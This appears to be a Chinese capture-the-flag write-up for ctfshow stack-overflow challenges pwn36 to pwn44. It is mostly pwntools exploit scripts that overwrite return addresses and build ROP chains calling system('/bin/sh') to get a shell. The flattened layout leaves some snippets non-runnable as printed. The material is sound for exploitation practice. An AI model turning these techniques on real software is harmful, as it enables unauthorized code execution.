ctfshow刷题wp
grandctfshow刷题wp
栈溢出
pwn36

1 2 3 4 5 6 7 8
   | from pwn import *
  p = process('./pwn')
  # p = remote('pwn.challenge.ctf.show', 28250) payload = cyclic(0x28+4) + p32(0x8048586) p.sendline(payload) p.interactive()
   | 
 
pwn37


1 2 3 4 5 6 7 8 9 10 11
   |  from pwn import *
  p = process('./pwn')
  # p = remote('pwn.challenge.ctf.show', 28250) get_flag = 0x08048521 payload = cyclic(0x12 + 0x4) + p32(get_flag)
  p.sendline(payload) p.interactive()
 
  | 
 
pwn38
涉及到了栈对齐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   |  from pwn import *
  p = process('./pwn')
  # p = remote('pwn.challenge.ctf.show', 28250) get_flag = 0x400657
  retn=0x40066d 
  payload = b'a'*(0xA+8) + p64(retn) + p64(get_flag) gdb.attach(p) p.sendline(payload) p.interactive()
 
 
  | 
 
pwn39
使用32位的参数传递规则来处理 参数传入栈上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | from pwn import *
  p = process('./pwn')
  system_address=0x80483A0
  second_data=0
  first_data=0x8048750
 
  payload = b'a'*(0x12+4) + p32(system_address)+p32(second_data)+p32(first_data)
  p.sendline(payload) p.interactive()
 
   | 
 
pwn40
这次是64位 拿的寄存器传递参数 这次还是要将参数放入栈中 使用pop 传递给rdi 
1
   | ROPgadget --binary pwn --only "pop|ret"
   | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | from pwn import *
  p = process('./pwn')
  system_address=0x400520 
 
  bin_sh=0x400808
  pop_rdi_retn=0x4007e3
  retn=0x4004fe
  payload = b'a'*(0xa+8) + p64(pop_rdi_retn)+p64(bin_sh)+p64(retn)+p64(system_address)
 
  p.sendline(payload) p.interactive()
 
   | 
 
pwn41
32位 只有sh 没有bin/sh 大差不差 直接栈传递参数就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   | from pwn import *
  p = process('./pwn')
  system_address=0x80483D0
  first_data=0x80487BA
  second_data=0
 
 
  payload = b'a'*(0x12+4) +p32(system_address)+p32(0)+p32(first_data)
 
 
  p.sendline(payload)
 
  p.interactive()
 
   | 
 
pwn42
64位就是要考虑栈对齐和使用寄存器传递了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | from pwn import *
  p = process('./pwn')
  system_address=0x400560
  bin_sh=0x400872
  pop_rdi_retn=0x400843
  retn=0x40053e
  payload = b'a'*(0xa+8) + p64(pop_rdi_retn)+p64(bin_sh) +p64(retn)+p64(system_address)
  p.sendline(payload)
  p.interactive()
 
   | 
 
pwn43
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
   | from pwn import *
  # 设置调试模式 context.log_level = 'debug'
 
  # 启动进程并附加GDB io = process("./pwn") gdb.attach(io, """ b *main b *vulnerable_function c """)
  # 定义关键地址 buf2 = 0x0804B060 system = 0x08048450 gets = 0x08048420
  # 构造payload payload = b'a'*(0x6c + 4)       # 填充缓冲区 + EBP payload += p32(gets)            # 覆盖返回地址为gets payload += p32(system)          # gets的返回地址(执行完gets后跳转到system) payload += p32(buf2)            # gets的参数(写入位置) payload += p32(buf2)            # system的参数(/bin/sh的地址)
  # 调试信息 log.info("Payload length: %d" % len(payload)) log.info("Payload hex: %s" % payload.hex())
  # 发送payload pause() io.sendline(payload) io.sendline(b"/bin/sh")         # gets读取的内容
  # 交互模式 io.interactive()
   | 
 
这里使用的是栈传递参数 由于call相当于 push了返回地址和jmp到了jmp 所以这里是直接使用的jmp的地址并且直接把返回地址压栈进去了
1 2 3 4
   | |-------------------| | 返回地址          | ← gets执行完后要返回的地址 | 缓冲区指针        | ← gets的参数(写入位置) |-------------------|
   | 
 
pwn44
使用寄存器传递参数 考虑对齐问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
   | from pwn import *
  p = process('./pwn')
  get_address=0x0400530
  pop_rdi_ret=0x4007f3
  buf2_address=0x602080
  retn=0x4004fe 
  system_address=0x400520
 
 
  payload=b'a'*(0xa+8) payload+=p64(pop_rdi_ret) payload+=p64(buf2_address) payload+=p64(get_address)
  payload+=p64(pop_rdi_ret) payload+=p64(buf2_address) payload+=p64(system_address)
 
 
 
  p.sendline(payload) p.sendline(b"/bin/sh")    p.interactive()
 
   |